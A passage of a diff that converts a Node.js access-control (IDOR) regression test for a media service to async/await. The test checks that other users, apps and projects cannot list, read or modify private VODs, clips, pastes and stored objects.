- assert.strictEqual((await call('PUT', `/api/v1/live/vods/${privVod}`, asUser(5), { title: 'mine' })).status, 200, 'the owner updates their private VOD');
- assert.strictEqual((await call('PUT', `/api/v1/live/clips/${pubClip}`, key('live-key'), { title: 'app edit' })).status, 200, 'the app key updates any clip');
- assert.strictEqual((await call('POST', `/api/v1/live/thumbnails/vod/${privVod}`, asUser(5), thumbBody)).status, 200, 'the owner replaces their thumbnail');
- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/holds', key('live-key'))).status, 200, 'the app reads its holds');
- console.log('✅ v1 VODs, clips, thumbnails, files, assets and admin storage: other users and apps change nothing; acting for a user is refused on admin storage');
+ assert.deepStrictEqual(await v1State(), v1Before, 'no VOD, clip, thumbnail, file or asset changed');
+ assert.deepStrictEqual(await v2State(), v2Before, 'no hold or object changed');
+ // Controls: the owner and the app itself still can.
+ assert.strictEqual((await call('PUT', `/api/v1/live/vods/${privVod}`, asUser(5), { title: 'mine' })).status, 200, 'the owner updates their private VOD');
+ assert.strictEqual((await call('PUT', `/api/v1/live/clips/${pubClip}`, key('live-key'), { title: 'app edit' })).status, 200, 'the app key updates any clip');
+ assert.strictEqual((await call('POST', `/api/v1/live/thumbnails/vod/${privVod}`, asUser(5), thumbBody)).status, 200, 'the owner replaces their thumbnail');
+ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/holds', key('live-key'))).status, 200, 'the app reads its holds');
+ console.log('✅ v1 VODs, clips, thumbnails, files, assets and admin storage: other users and apps change nothing; acting for a user is refused on admin storage');
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('security-idor: all checks passed');
- process.exit(0);
-})().catch((err) => { console.error(err); server.close(); process.exit(1); });
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('security-idor: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); server.close(); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -18,234 +18,235 @@ const path = require('path');
@@ -18,234 +18,235 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-secprivate-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.ASSETS_PATH = dir('assets');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-for (const k of ['PASTES_MOVED_TO', 'EVENTS_URL', 'MEDIA_B2_ENDPOINT', 'MEDIA_R2_ENDPOINT']) process.env[k] = '';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-secprivate-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.ASSETS_PATH = dir('assets');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+ for (const k of ['PASTES_MOVED_TO', 'EVENTS_URL', 'MEDIA_B2_ENDPOINT', 'MEDIA_R2_ENDPOINT']) process.env[k] = '';
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-const auth = require('../server/auth');
-const signing = require('../server/objects/signing');
-const queue = require('../server/jobs/queue');
-const { serviceAuth, ids } = require('openvibe-contracts');
-const express = require('express');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
+ const signing = require('../server/objects/signing');
+ const queue = require('../server/jobs/queue');
+ const { serviceAuth, ids } = require('openvibe-contracts');
+ const express = require('express');
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'games', api_key: 'games-key' });
-const raw = db.getDb();
-const now = Math.floor(Date.now() / 1000);
-const PA = `prj_${ids.ulid()}`, PB = `prj_${ids.ulid()}`;
-const appTok = (project, env = 'production') => serviceAuth.signServiceToken({
- iss: 'https://openvibe.network', sub: `app:app_${ids.ulid()}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read', 'media.object.list'],
- ns: [project], project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,
-}, keys.privateKey);
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ const raw = db.getDb();
+ const now = Math.floor(Date.now() / 1000);
+ const PA = `prj_${ids.ulid()}`, PB = `prj_${ids.ulid()}`;
+ const appTok = (project, env = 'production') => serviceAuth.signServiceToken({
+ iss: 'https://openvibe.network', sub: `app:app_${ids.ulid()}`, actor_type: 'app', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read', 'media.object.list'],
+ ns: [project], project_id: project, env, iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`,
+ }, keys.privateKey);
-// ── VODs, clips and their thumbnails (user 5 owns them all) ──
-const thumb = (name) => { fs.writeFileSync(path.join(process.env.THUMBNAILS_PATH, name), Buffer.from('ffd8ffe000104a464946', 'hex')); return `/t/${name}`; };
-const media = (d, name) => { const p = path.join(d, name); fs.writeFileSync(p, Buffer.alloc(64, 1)); return p; };
-const vod = (title, visibility, extra = {}) => {
- const id = Number(db.createVod({ app_id: 'live', user_id: 5, title, file_path: media(process.env.VOD_PATH, `${title.replace(/\W/g, '')}.webm`), duration_seconds: 10, visibility, ...extra }).lastInsertRowid);
- return id;
-};
-const pubVod = vod('Public VOD', 'public', { managed_stream_id: 7 });
-const privVod = vod('Secret VOD title', 'private', { managed_stream_id: 7 });
-const unlVod = vod('Unlisted VOD title', 'unlisted', { managed_stream_id: 8 });
-raw.prepare("UPDATE vods SET created_at = datetime('now', ?) WHERE id = ?").run('-2 hours', pubVod); // the private one is the newest of stream 7
-for (const [id, name] of [[pubVod, `vod-${pubVod}-111.jpg`], [privVod, `vod-${privVod}-222.jpg`], [unlVod, `vod-${unlVod}-666.jpg`]]) {
- db.withObject('vod', id, () => db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [thumb(name), id]));
-}
-const clip = (title, visibility, name) => Number(db.createClip({
- app_id: 'live', vod_id: pubVod, user_id: 5, title, file_path: media(process.env.CLIPS_PATH, `${title.replace(/\W/g, '')}.webm`),
- thumbnail_url: thumb(name), duration_seconds: 5, is_public: visibility === 'public' ? 1 : 0, visibility, status: 'ready',
-}).lastInsertRowid);
-const pubClip = clip('Public clip', 'public', 'clip-9001-1.jpg');
-const privClip = clip('Secret clip title', 'private', 'clip-9002-2.jpg');
-const unlClip = clip('Unlisted clip title', 'unlisted', 'clip-9003-3.jpg');
-// The thumbnail file names carry the clip ids the rows got.
-for (const [id, old] of [[pubClip, 'clip-9001-1.jpg'], [privClip, 'clip-9002-2.jpg'], [unlClip, 'clip-9003-3.jpg']]) {
- const name = `clip-${id}-${old.split('-')[2]}`;
- fs.renameSync(path.join(process.env.THUMBNAILS_PATH, old), path.join(process.env.THUMBNAILS_PATH, name));
- db.withObject('clip', id, () => db.run('UPDATE clips SET thumbnail_url = ? WHERE id = ?', [`/t/${name}`, id]));
-}
-const HIDDEN_TITLES = ['Secret VOD title', 'Unlisted VOD title', 'Secret clip title', 'Unlisted clip title'];
-const HIDDEN_THUMBS = [`vod-${privVod}-222.jpg`, `vod-${unlVod}-666.jpg`, `clip-${privClip}-2.jpg`, `clip-${unlClip}-3.jpg`];
-raw.prepare("INSERT INTO pastes (slug, app_id, user_id, title, type, content, language, visibility) VALUES ('priv-page', 'live', 5, 'Secret paste title', 'paste', 'secret text', 'text', 'private')").run();
+ // ── VODs, clips and their thumbnails (user 5 owns them all) ──
+ const thumb = (name) => { fs.writeFileSync(path.join(process.env.THUMBNAILS_PATH, name), Buffer.from('ffd8ffe000104a464946', 'hex')); return `/t/${name}`; };
+ const media = (d, name) => { const p = path.join(d, name); fs.writeFileSync(p, Buffer.alloc(64, 1)); return p; };
+ const vod = async (title, visibility, extra = {}) => {
+ const id = Number((await db.createVod({ app_id: 'live', user_id: 5, title, file_path: media(process.env.VOD_PATH, `${title.replace(/\W/g, '')}.webm`), duration_seconds: 10, visibility, ...extra })).lastInsertRowid);
+ return id;
+ };
+ const pubVod = await vod('Public VOD', 'public', { managed_stream_id: 7 });
+ const privVod = await vod('Secret VOD title', 'private', { managed_stream_id: 7 });
+ const unlVod = await vod('Unlisted VOD title', 'unlisted', { managed_stream_id: 8 });
+ await raw.prepare("UPDATE vods SET created_at = datetime('now', ?) WHERE id = ?").run('-2 hours', pubVod); // the private one is the newest of stream 7
+ for (const [id, name] of [[pubVod, `vod-${pubVod}-111.jpg`], [privVod, `vod-${privVod}-222.jpg`], [unlVod, `vod-${unlVod}-666.jpg`]]) {
+ await db.withObject('vod', id, async () => await db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [thumb(name), id]));
+ }
+ const clip = async (title, visibility, name) => Number((await db.createClip({
+ app_id: 'live', vod_id: pubVod, user_id: 5, title, file_path: media(process.env.CLIPS_PATH, `${title.replace(/\W/g, '')}.webm`),
+ thumbnail_url: thumb(name), duration_seconds: 5, is_public: visibility === 'public' ? 1 : 0, visibility, status: 'ready',
+ })).lastInsertRowid);
+ const pubClip = await clip('Public clip', 'public', 'clip-9001-1.jpg');
+ const privClip = await clip('Secret clip title', 'private', 'clip-9002-2.jpg');
+ const unlClip = await clip('Unlisted clip title', 'unlisted', 'clip-9003-3.jpg');
+ // The thumbnail file names carry the clip ids the rows got.
+ for (const [id, old] of [[pubClip, 'clip-9001-1.jpg'], [privClip, 'clip-9002-2.jpg'], [unlClip, 'clip-9003-3.jpg']]) {
+ const name = `clip-${id}-${old.split('-')[2]}`;
+ fs.renameSync(path.join(process.env.THUMBNAILS_PATH, old), path.join(process.env.THUMBNAILS_PATH, name));
+ await db.withObject('clip', id, async () => await db.run('UPDATE clips SET thumbnail_url = ? WHERE id = ?', [`/t/${name}`, id]));
+ }
+ const HIDDEN_TITLES = ['Secret VOD title', 'Unlisted VOD title', 'Secret clip title', 'Unlisted clip title'];
+ const HIDDEN_THUMBS = [`vod-${privVod}-222.jpg`, `vod-${unlVod}-666.jpg`, `clip-${privClip}-2.jpg`, `clip-${unlClip}-3.jpg`];
+ await raw.prepare("INSERT INTO pastes (slug, app_id, user_id, title, type, content, language, visibility) VALUES ('priv-page', 'live', 5, 'Secret paste title', 'paste', 'secret text', 'text', 'private') RETURNING id").run();
-const app = express();
-app.put('/api/v2/:app/objects/:id/content', ...require('../server/objects/routes').contentHandlers);
-app.use(express.json());
-app.use('/api/v1/:app/vods', require('../server/vod/routes'));
-app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
-app.use('/api/v1/:app/files', require('../server/files/routes'));
-app.use('/api/v2/:app/objects', require('../server/objects/routes'));
-app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
-app.use('/o', require('../server/objects/routes').publicRouter);
-app.use('/', require('../server/public/routes'));
-const server = http.createServer(app);
+ const app = express();
+ app.put('/api/v2/:app/objects/:id/content', ...require('../server/objects/routes').contentHandlers);
+ app.use(express.json());
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
+ app.use('/api/v1/:app/files', require('../server/files/routes'));
+ app.use('/api/v2/:app/objects', require('../server/objects/routes'));
+ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
+ app.use('/o', require('../server/objects/routes').publicRouter);
+ app.use('/', require('../server/public/routes'));
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const local = (u) => String(u).replace('https://media.test', '');
- const get = async (p, headers = {}, method = 'GET', body) => {
- const h = { ...headers };
- let payload = body;
- if (body !== undefined && !Buffer.isBuffer(body) && typeof body !== 'string') { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
- const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });
- const text = await res.text();
- let json = null; try { json = JSON.parse(text); } catch { /* not JSON */ }
- return { status: res.status, text, json, location: res.headers.get('location') };
- };
- const same = async (a, b, msg) => {
- const [x, y] = [await get(...a), await get(...b)];
- assert.deepStrictEqual([x.status, x.text, x.location], [y.status, y.text, y.location], msg);
- return x;
- };
- const key = (k) => ({ authorization: `Bearer ${k}` });
- const asUser = (id) => ({ ...key('live-key'), 'x-ov-user-id': String(id) });
- const bearer = (t) => ({ authorization: `Bearer ${t}` });
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const local = (u) => String(u).replace('https://media.test', '');
+ const get = async (p, headers = {}, method = 'GET', body) => {
+ const h = { ...headers };
+ let payload = body;
+ if (body !== undefined && !Buffer.isBuffer(body) && typeof body !== 'string') { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }
+ const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });
+ const text = await res.text();
+ let json = null; try { json = JSON.parse(text); } catch { /* not JSON */ }
+ return { status: res.status, text, json, location: res.headers.get('location') };
+ };
+ const same = async (a, b, msg) => {
+ const [x, y] = [await get(...a), await get(...b)];
+ assert.deepStrictEqual([x.status, x.text, x.location], [y.status, y.text, y.location], msg);
+ return x;
+ };
+ const key = (k) => ({ authorization: `Bearer ${k}` });
+ const asUser = (id) => ({ ...key('live-key'), 'x-ov-user-id': String(id) });
+ const bearer = (t) => ({ authorization: `Bearer ${t}` });
- // Native objects: init → PUT bytes → complete.
- const mkObject = async (tenant, headers, visibility, body = 'bytes') => {
- let r = await get(`/api/v2/${tenant}/objects`, headers, 'POST', { kind: 'file', mime_type: 'text/plain', size_bytes: Buffer.byteLength(body), visibility, filename: 'x.txt' });
- assert.strictEqual(r.status, 201, r.text);
- const id = r.json.id;
- r = await get(local(r.json.upload.url), { 'content-type': 'text/plain' }, 'PUT', body);
- assert.strictEqual(r.status, 200, r.text);
- r = await get(`/api/v2/${tenant}/objects/${id}/complete`, headers, 'POST', {});
- assert.strictEqual(r.status, 200, r.text);
- return id;
- };
- const privObj = await mkObject('live', asUser(5), 'private');
- const unlObj = await mkObject('live', asUser(5), 'unlisted');
- const pubObj = await mkObject('live', asUser(5), 'public');
- const projObj = await mkObject(PA, bearer(appTok(PA)), 'private');
- const sandboxObj = await mkObject(PA, bearer(appTok(PA, 'sandbox')), 'public');
- const UNKNOWN = 'med_01JAB2C3D4E5F6G7H8J9K0MNPQ';
- const job = queue.enqueue({ appId: 'live', type: 'thumbnail.regenerate', objectId: privObj, params: { kind: 'vod', id: privVod }, ownerUserId: 5, createdBy: 'app:live:user:5' }).job;
+ // Native objects: init → PUT bytes → complete.
+ const mkObject = async (tenant, headers, visibility, body = 'bytes') => {
+ let r = await get(`/api/v2/${tenant}/objects`, headers, 'POST', { kind: 'file', mime_type: 'text/plain', size_bytes: Buffer.byteLength(body), visibility, filename: 'x.txt' });
+ assert.strictEqual(r.status, 201, r.text);
+ const id = r.json.id;
+ r = await get(local(r.json.upload.url), { 'content-type': 'text/plain' }, 'PUT', body);
+ assert.strictEqual(r.status, 200, r.text);
+ r = await get(`/api/v2/${tenant}/objects/${id}/complete`, headers, 'POST', {});
+ assert.strictEqual(r.status, 200, r.text);
+ return id;
+ };
+ const privObj = await mkObject('live', asUser(5), 'private');
+ const unlObj = await mkObject('live', asUser(5), 'unlisted');
+ const pubObj = await mkObject('live', asUser(5), 'public');
+ const projObj = await mkObject(PA, bearer(appTok(PA)), 'private');
+ const sandboxObj = await mkObject(PA, bearer(appTok(PA, 'sandbox')), 'public');
+ const UNKNOWN = 'med_01JAB2C3D4E5F6G7H8J9K0MNPQ';
+ const job = (await queue.enqueue({ appId: 'live', type: 'thumbnail.regenerate', objectId: privObj, params: { kind: 'vod', id: privVod }, ownerUserId: 5, createdBy: 'app:live:user:5' })).job;
- // ── 1. Public lists: nothing private or unlisted ──
- for (const p of ['/', '/browse', '/browse?tab=videos', '/browse?tab=clips', '/browse?tab=thumbnails', '/?tab=thumbnails&page=1', '/sitemap.xml', '/llms.txt', '/updates']) {
- const r = await get(p);
- assert.ok(r.status < 500, `${p} answers`);
- for (const t of [...HIDDEN_TITLES, ...HIDDEN_THUMBS, 'Secret paste title']) assert.ok(!r.text.includes(t), `${p} lists ${t}`);
- if (/thumbnails/.test(p)) {
- assert.ok(r.text.includes(`vod-${pubVod}-111.jpg`) && r.text.includes(`clip-${pubClip}-1.jpg`), `${p}: public recordings' thumbnails are listed`);
+ // ── 1. Public lists: nothing private or unlisted ──
+ for (const p of ['/', '/browse', '/browse?tab=videos', '/browse?tab=clips', '/browse?tab=thumbnails', '/?tab=thumbnails&page=1', '/sitemap.xml', '/llms.txt', '/updates']) {
+ const r = await get(p);
+ assert.ok(r.status < 500, `${p} answers`);
+ for (const t of [...HIDDEN_TITLES, ...HIDDEN_THUMBS, 'Secret paste title']) assert.ok(!r.text.includes(t), `${p} lists ${t}`);
+ if (/thumbnails/.test(p)) {
+ assert.ok(r.text.includes(`vod-${pubVod}-111.jpg`) && r.text.includes(`clip-${pubClip}-1.jpg`), `${p}: public recordings' thumbnails are listed`);
+ }
}
}
- }
- assert.ok((await get('/browse?tab=videos')).text.includes('Public VOD'), 'the index lists public VODs');
- console.log('✅ media index (every tab, thumbnails too), sitemap, llms.txt, updates: no private or unlisted item');
+ assert.ok((await get('/browse?tab=videos')).text.includes('Public VOD'), 'the index lists public VODs');
+ console.log('✅ media index (every tab, thumbnails too), sitemap, llms.txt, updates: no private or unlisted item');
- for (const who of [asUser(77), { ...asUser(77), 'x-include': '1' }]) {
- let r = await get('/api/v1/live/vods?include_private=1&include_recording=1', who);
- assert.deepStrictEqual(r.json.vods.map(v => v.id), [pubVod], 'acting for another user: public VODs only, include_private ignored');
- r = await get('/api/v1/live/clips?include_private=1', who);
- assert.deepStrictEqual(r.json.clips.map(c => c.id), [pubClip], 'acting for another user: public clips only');
- }
- let r = await get('/api/v1/live/vods/latest-thumbs?managed_stream_ids=7,8', asUser(77));
- assert.deepStrictEqual(Object.keys(r.json.thumbs), ['7'], 'no thumbnail for a stream whose only VOD is unlisted');
- assert.strictEqual(r.json.thumbs['7'].vod_id, pubVod, 'the newest PUBLIC VOD, not the newer private one');
- r = await get('/api/v1/live/vods?include_private=1', key('live-key'));
- assert.strictEqual(r.json.vods.length, 3, 'the app key itself may list everything (control)');
- r = await get('/api/v2/live/objects', asUser(77));
- assert.deepStrictEqual(r.json.objects.filter(o => [privObj, unlObj, pubObj].includes(o.id)).map(o => o.id).sort(), [pubObj, unlObj].sort(), 'v2 list for another user: public and unlisted (documented), never private');
- r = await get(`/api/v2/live/objects?visibility=private&owner=user:5&user_id=5`, asUser(77));
- assert.ok(!r.json.objects.some(o => o.id === privObj), 'no filter reaches another user\'s private objects');
- r = await get('/api/v2/live/jobs', asUser(77));
- assert.ok(!r.json.jobs.some(j => j.id === job.id), 'another user\'s jobs are not listed');
- r = await get('/api/v2/games/objects', key('games-key'));
- assert.ok(!r.json.objects.some(o => [privObj, unlObj, pubObj].includes(o.id)), 'another app lists none of this app\'s objects');
- r = await get(`/api/v2/${PB}/objects`, bearer(appTok(PB)));
- assert.deepStrictEqual(r.json.objects, [], 'another developer project lists nothing of this one');
- console.log('✅ v1 lists, latest-thumbs, v2 object and job lists: no private item of anyone else');
+ for (const who of [asUser(77), { ...asUser(77), 'x-include': '1' }]) {
+ let r = await get('/api/v1/live/vods?include_private=1&include_recording=1', who);
+ assert.deepStrictEqual(r.json.vods.map(v => v.id), [pubVod], 'acting for another user: public VODs only, include_private ignored');
+ r = await get('/api/v1/live/clips?include_private=1', who);
+ assert.deepStrictEqual(r.json.clips.map(c => c.id), [pubClip], 'acting for another user: public clips only');
+ }
+ let r = await get('/api/v1/live/vods/latest-thumbs?managed_stream_ids=7,8', asUser(77));
+ assert.deepStrictEqual(Object.keys(r.json.thumbs), ['7'], 'no thumbnail for a stream whose only VOD is unlisted');
+ assert.strictEqual(r.json.thumbs['7'].vod_id, pubVod, 'the newest PUBLIC VOD, not the newer private one');
+ r = await get('/api/v1/live/vods?include_private=1', key('live-key'));
+ assert.strictEqual(r.json.vods.length, 3, 'the app key itself may list everything (control)');
+ r = await get('/api/v2/live/objects', asUser(77));
+ assert.deepStrictEqual(r.json.objects.filter(o => [privObj, unlObj, pubObj].includes(o.id)).map(o => o.id).sort(), [pubObj, unlObj].sort(), 'v2 list for another user: public and unlisted (documented), never private');
+ r = await get(`/api/v2/live/objects?visibility=private&owner=user:5&user_id=5`, asUser(77));
+ assert.ok(!r.json.objects.some(o => o.id === privObj), 'no filter reaches another user\'s private objects');
+ r = await get('/api/v2/live/jobs', asUser(77));
+ assert.ok(!r.json.jobs.some(j => j.id === job.id), 'another user\'s jobs are not listed');
+ r = await get('/api/v2/games/objects', key('games-key'));
+ assert.ok(!r.json.objects.some(o => [privObj, unlObj, pubObj].includes(o.id)), 'another app lists none of this app\'s objects');
+ r = await get(`/api/v2/${PB}/objects`, bearer(appTok(PB)));
+ assert.deepStrictEqual(r.json.objects, [], 'another developer project lists nothing of this one');
+ console.log('✅ v1 lists, latest-thumbs, v2 object and job lists: no private item of anyone else');
- // ── 2. Every v2 object read: another user, another app, another project, nobody → the unknown-id answer ──
- const O = (tenant, id, rest = '') => `/api/v2/${tenant}/objects/${id}${rest}`;
- for (const rest of ['', '/download', '/download?format=json', '/download?redirect=1', '/holds', '/holds?all=1']) {
- r = await same([O('live', privObj, rest), asUser(77)], [O('live', UNKNOWN, rest), asUser(77)], `another user: private ${rest || 'metadata'} looks missing`);
- assert.strictEqual(r.status, 404);
- await same([O('games', privObj, rest), key('games-key')], [O('games', UNKNOWN, rest), key('games-key')], `another app on its own tenant: ${rest || 'metadata'}`);
- await same([O('games', pubObj, rest), key('games-key')], [O('games', UNKNOWN, rest), key('games-key')], `another app does not reach even a public object through its tenant: ${rest || 'metadata'}`);
- await same([O('live', privObj, rest), key('games-key')], [O('live', UNKNOWN, rest), key('games-key')], `another app's key on this tenant: ${rest || 'metadata'}`);
- await same([O('live', privObj, rest)], [O('live', UNKNOWN, rest)], `no credential: ${rest || 'metadata'}`);
- await same([O(PB, projObj, rest), bearer(appTok(PB))], [O(PB, UNKNOWN, rest), bearer(appTok(PB))], `another project: ${rest || 'metadata'}`);
- await same([O(PA, projObj, rest), bearer(appTok(PB))], [O(PA, UNKNOWN, rest), bearer(appTok(PB))], `another project's token on this project: ${rest || 'metadata'}`);
- }
- await same([`/api/v2/live/jobs/${job.id}`, asUser(77)], ['/api/v2/live/jobs/mjob_nosuchjob', asUser(77)], 'another user\'s job looks missing');
- assert.strictEqual((await get(O('live', privObj), asUser(5))).status, 200, 'the owner reads it (control)');
- assert.strictEqual((await get(O('live', unlObj), asUser(77))).status, 200, 'unlisted is readable by id (documented)');
- assert.strictEqual((await get(O(PA, projObj), bearer(appTok(PA)))).status, 200, 'its project reads it (control)');
- console.log('✅ v2 object reads (metadata, download, holds, jobs): other users, apps, projects and nobody get the unknown-id answer');
+ // ── 2. Every v2 object read: another user, another app, another project, nobody → the unknown-id answer ──
+ const O = (tenant, id, rest = '') => `/api/v2/${tenant}/objects/${id}${rest}`;
+ for (const rest of ['', '/download', '/download?format=json', '/download?redirect=1', '/holds', '/holds?all=1']) {
+ r = await same([O('live', privObj, rest), asUser(77)], [O('live', UNKNOWN, rest), asUser(77)], `another user: private ${rest || 'metadata'} looks missing`);
+ assert.strictEqual(r.status, 404);
+ await same([O('games', privObj, rest), key('games-key')], [O('games', UNKNOWN, rest), key('games-key')], `another app on its own tenant: ${rest || 'metadata'}`);
+ await same([O('games', pubObj, rest), key('games-key')], [O('games', UNKNOWN, rest), key('games-key')], `another app does not reach even a public object through its tenant: ${rest || 'metadata'}`);
+ await same([O('live', privObj, rest), key('games-key')], [O('live', UNKNOWN, rest), key('games-key')], `another app's key on this tenant: ${rest || 'metadata'}`);
+ await same([O('live', privObj, rest)], [O('live', UNKNOWN, rest)], `no credential: ${rest || 'metadata'}`);
+ await same([O(PB, projObj, rest), bearer(appTok(PB))], [O(PB, UNKNOWN, rest), bearer(appTok(PB))], `another project: ${rest || 'metadata'}`);
+ await same([O(PA, projObj, rest), bearer(appTok(PB))], [O(PA, UNKNOWN, rest), bearer(appTok(PB))], `another project's token on this project: ${rest || 'metadata'}`);
+ }
+ await same([`/api/v2/live/jobs/${job.id}`, asUser(77)], ['/api/v2/live/jobs/mjob_nosuchjob', asUser(77)], 'another user\'s job looks missing');
+ assert.strictEqual((await get(O('live', privObj), asUser(5))).status, 200, 'the owner reads it (control)');
+ assert.strictEqual((await get(O('live', unlObj), asUser(77))).status, 200, 'unlisted is readable by id (documented)');
+ assert.strictEqual((await get(O(PA, projObj), bearer(appTok(PA)))).status, 200, 'its project reads it (control)');
+ console.log('✅ v2 object reads (metadata, download, holds, jobs): other users, apps, projects and nobody get the unknown-id answer');
- // ── 3. Public serving with another app's identity; projected objects; the paste page ──
- const video = { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' };
- const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };
- for (const h of [video, nav]) {
- await same([`/v/${privVod}`, { ...h, ...key('games-key') }], ['/v/999999', { ...h, ...key('games-key') }], 'another app\'s key is nobody special on /v');
- await same([`/c/${privClip}`, { ...h, ...key('games-key') }], ['/c/999999', { ...h, ...key('games-key') }], 'another app\'s key is nobody special on /c');
- await same([`/c/${privClip}`, { ...h, ...asUser(77) }], ['/c/999999', { ...h, ...asUser(77) }], 'another user on /c');
- }
- await same(['/p/priv-page', nav], ['/p/no-such-paste', nav], 'a private paste page looks missing');
- await same(['/p/priv-page', { ...nav, ...asUser(77) }], ['/p/no-such-paste', { ...nav, ...asUser(77) }], 'a private paste page, for another user');
- await same([`/api/v1/games/vods/${pubVod}`, key('games-key')], ['/api/v1/games/vods/999999', key('games-key')], 'another app cannot read this app\'s VOD by id');
- await same([`/api/v1/games/clips/${privClip}`, key('games-key')], ['/api/v1/games/clips/999999', key('games-key')], 'nor its clip');
- const projected = raw.prepare('SELECT id, visibility FROM media_objects WHERE legacy_ref IS NOT NULL AND id IN (SELECT object_id FROM vods WHERE id IN (?, ?) UNION SELECT id FROM media_objects WHERE legacy_ref LIKE ? OR legacy_ref LIKE ?)')
- .all(privVod, unlVod, `%vod-${privVod}-222.jpg%`, `%clip-${privClip}-2.jpg%`);
- assert.ok(projected.length >= 2, `the private rows have projected objects (${JSON.stringify(projected)})`);
- for (const o of projected.filter(x => x.visibility === 'private')) {
- await same([`/o/${o.id}`], [`/o/${UNKNOWN}`], `projected private object ${o.id} looks missing on /o`);
- }
- assert.ok(projected.some(o => o.visibility === 'private'), 'a private row\'s objects are private');
- console.log('✅ /v /c /p with another app or user, v1 reads across apps, projected VOD/thumbnail objects on /o');
+ // ── 3. Public serving with another app's identity; projected objects; the paste page ──
+ const video = { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' };
+ const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };
+ for (const h of [video, nav]) {
+ await same([`/v/${privVod}`, { ...h, ...key('games-key') }], ['/v/999999', { ...h, ...key('games-key') }], 'another app\'s key is nobody special on /v');
+ await same([`/c/${privClip}`, { ...h, ...key('games-key') }], ['/c/999999', { ...h, ...key('games-key') }], 'another app\'s key is nobody special on /c');
+ await same([`/c/${privClip}`, { ...h, ...asUser(77) }], ['/c/999999', { ...h, ...asUser(77) }], 'another user on /c');
+ }
+ await same(['/p/priv-page', nav], ['/p/no-such-paste', nav], 'a private paste page looks missing');
+ await same(['/p/priv-page', { ...nav, ...asUser(77) }], ['/p/no-such-paste', { ...nav, ...asUser(77) }], 'a private paste page, for another user');
+ await same([`/api/v1/games/vods/${pubVod}`, key('games-key')], ['/api/v1/games/vods/999999', key('games-key')], 'another app cannot read this app\'s VOD by id');
+ await same([`/api/v1/games/clips/${privClip}`, key('games-key')], ['/api/v1/games/clips/999999', key('games-key')], 'nor its clip');
+ const projected = await raw.prepare('SELECT id, visibility FROM media_objects WHERE legacy_ref IS NOT NULL AND id IN (SELECT object_id FROM vods WHERE id IN (?, ?) UNION SELECT id FROM media_objects WHERE legacy_ref ILIKE ? OR legacy_ref ILIKE ?)')
+ .all(privVod, unlVod, `%vod-${privVod}-222.jpg%`, `%clip-${privClip}-2.jpg%`);
